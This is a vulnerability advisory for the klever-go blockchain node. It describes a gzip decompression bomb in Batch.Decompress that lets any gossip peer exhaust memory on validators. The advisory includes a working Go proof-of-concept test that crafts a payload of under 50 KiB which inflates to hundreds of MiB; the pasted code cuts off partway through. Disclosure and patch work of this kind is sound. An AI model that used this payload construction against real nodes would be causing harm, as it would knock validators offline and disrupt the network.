Improper resource allocation In github.com/klever-io/klever-go
Description
Klever-Go MultiDataInterceptor has remote OOM via crafted compressed P2P payload ## Summary A remote, unauthenticated denial-of-service vulnerability in Batch.Decompress (data/batch/batch.go) allows any peer that participates in a topic served by MultiDataInterceptor to allocate multi-gigabyte heaps on the receiving node from a sub-50 KiB gossip payload. A single packet is sufficient to OOM-kill a validator with conventional memory provisioning. Fleet-wide application affects chain liveness. The vulnerability was identified during an internal security review of core/process/interceptors/multiDataInterceptor.go at commit 405d01b0abbf0d3e73b4a990bd7394a01f200dc2. It is distinct from, and substantially more severe than, the throttler-slot-leak vulnerability disclosed in GHSA-74m6-4hjp-7226. Both reports cover adjacent code in the same call path; the patches must land together in one release (rc2 superseding rc1). Two additional, lower-severity hardening issues affecting the same code path are documented in this report and remediated by the same patch. They are not independently exploitable under the default deployed anti-flood configuration and are not requested as separate CVEs. ## Description MultiDataInterceptor.ProcessReceivedMessage (core/process/interceptors/multiDataInterceptor.go:79) handles every gossip message received on the topics the interceptor is registered for. At lines 95–102 it conditionally decompresses the payload via Batch.Decompress: go if b.IsCompressed { err = b.Decompress(mdi.marshalizer) if err != nil { ... return err } } Batch.Decompress (data/batch/batch.go:109) delegates the gzip step to decompressGzip (data/batch/batch.go:35-53), which performs an unbounded io.ReadAll on the gzip reader: go func decompressGzip(data []byte) ([]byte, error) { rdata := bytes.NewReader(data) reader, err := gzip.NewReader(rdata) if err != nil { return nil, err } result, err := io.ReadAll(reader) // no LimitReader, no DataSize check ... } After the gzip step succeeds, Decompress re-Unmarshals the inflated bytes back into the Batch value, again with no size cap. The attacker-set ba.DataSize field is never validated on decompression, so the lie is free. The order of operations in ProcessReceivedMessage: preProcessMessage -> anti-flood by COMPRESSED size only marshalizer.Unmarshal(&b, ..) -> outer Batch (small, cheap) b.Decompress(...) -> UNBOUNDED here (bomb explodes) ... b.Data populated with N entries ... antiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...) The count-budget anti-flood check at line 111 runs after Decompress completes, so no anti-flood configuration can prevent the explosion. The only gate above Decompress is preProcessMessage's byte budget, which sees only the compressed payload size and is trivially satisfied by a sub-MB bomb. ## Proof of Concept The PoC is a self-contained Go test that exercises the real data/batch.Batch.Decompress function and the production factory.ProtoMarshalizer. No mocks. Both the attacker-side construction (marshal a Batch of millions of empty entries, gzip, wrap in an outer compressed Batch) and the receiver-side path (mrs.Unmarshal → received.Decompress(mrs)) are exactly what runs in production at the reviewed commit. The headline test (TestC2_DecompressionBomb_ValidInner) constructs a ~48 KiB outer wire payload that decompresses to 25 million []byte entries, and samples runtime.HeapAlloc every 5 ms during Decompress to capture the peak (since the inflated buffer is freed once Decompress returns). ### Test source Place the file under playground/p2pflood/c2_decompression_bomb_test.go in a checkout of the reviewed commit, then run: go test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/... ```go package p2pflood_test import ( "bytes" "compress/gzip" "runtime" "sync/atomic" "testing" "time" "github.com/klever-io/klever-go/data/batch" "github.com/klever-io/klever-go/tools/marshal/factory" ) const inflatedSize = 256 << 20 // 256 MiB // buildGzipOfZeros: streams size zero bytes through a gzip writer. // A real attacker produces this offline; the streaming form here keeps // the test's own attacker-side allocation small. func buildGzipOfZeros(t *testing.T, size int) []byte { t.Helper() var buf bytes.Buffer gz := gzip.NewWriter(&buf) chunk := make([]byte, 1<<20) for written := 0; written < size; { n := len(chunk) if size-written < n { n = size - written } if _, err := gz.Write(chunk[:n]); err != nil { t.Fatalf("gzip write: %v", err) } written += n } if err := gz.Close(); err != nil { t.Fatalf("gzip close: %v", err) } return buf.Bytes() } // peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and // returns (peak, baseline). In-flight sampling is required because // Decompress's internal allocations may be reclaimed by GC before the // function returns. func peakHeapDuring(fn func()) (peak, baseline uint64) { runtime.GC() var ms runtime.MemStats runtime.ReadMemStats(&ms) baseline = ms.HeapAlloc var stop atomic.Bool peakPtr := new(atomic.Uint64) peakPtr.Store(baseline) done := make(chan struct{}) go func() { ticker := time.NewTicker(5 * time.Millisecond) defer ticker.Stop() var s runtime.MemStats for !stop.Load() { runtime.ReadMemStats(&s) cur := s.HeapAlloc for { old := peakPtr.Load() if cur <= old || peakPtr.CompareAndSwap(old, cur) { break } } <-ticker.C } close(done) }() fn() stop.Store(true) <-done return peakPtr.Load(), baseline } // TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration. // All-zeros inflated payload; inner Unmarshal-after-decompress fails, // but the gzip output buffer is already allocated. func TestC2_DecompressionBomb_RawZeros(t *testing.T) { mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer) if err != nil { t.Fatalf("marshalizer: %v", err) } bombStream := buildGzipOfZeros(t, inflatedSize) bomb := &batch.Batch{ IsCompressed: true, Algo: batch.CType_GZip, Stream: bombStream, DataSize: 1, // a lie — Decompress ignores it } wire, err := mrs.Marshal(bomb) if err != nil { t.Fatalf("marshal: %v", err) } t.Logf(" wire payload (after Marshal): %d bytes (%.2f KiB)", len(wire), float64(len(wire))/1024.0) t.Logf(" advertised DataSize: %d", bomb.DataSize) t.Logf(" actual decompressed size: %d bytes (%.2f MiB)", inflatedSize, float64(inflatedSize)/(1<<20)) bomb = nil bombStream = nil runtime.GC() received := &batch.Batch{} if err := mrs.Unmarshal(received, wire); err != nil { t.Fatalf("receiver outer unmarshal: %v", err) } if !received.IsCompressed { t.Fatalf("expected IsCompressed=true after outer unmarshal") } start := time.Now() var decompressErr error peak, baseline := peakHeapDuring(func() { decompressErr = received.Decompress(mrs) }) elapsed := time.Since(start) allocated := peak - baseline amp := float64(allocated) / float64(len(wire)) t.Logf(" Decompress error: %v (irrelevant — heap already allocated)", decompressErr) t.Logf(" peak heap during Decompress: +%d bytes (%.2f MiB)", allocated, float64(allocated)/(1<<20)) t.Logf(" elapsed: %v", elapsed) t.Logf(" amplification: %.0fx (wire -> heap)", amp) if allocated < uint64(inflatedSize/2) { t.Fatalf("heap delta only %.2f MiB — vuln may already be patched", float64(allocated)/(1<<20)) } if amp < 100 { t.Fatalf("amplification only %.1fx — expected >>100x", amp) } } // TestC2_DecompressionBomb_ValidInner: realistic ceiling — gzip stream // decompresses to a valid marshaled Batch with N=25M empty entries. // Decompress's internal Unmarshal succeeds and additionally allocates // the [][]byte slice. All before any count-based anti-flood runs. func TestC2_DecompressionBomb_ValidInner(t *testing.T) { mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer) if err != nil { t.Fatalf("marshalizer: %v", err)
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
go | 1.7.17 |
Aliases
References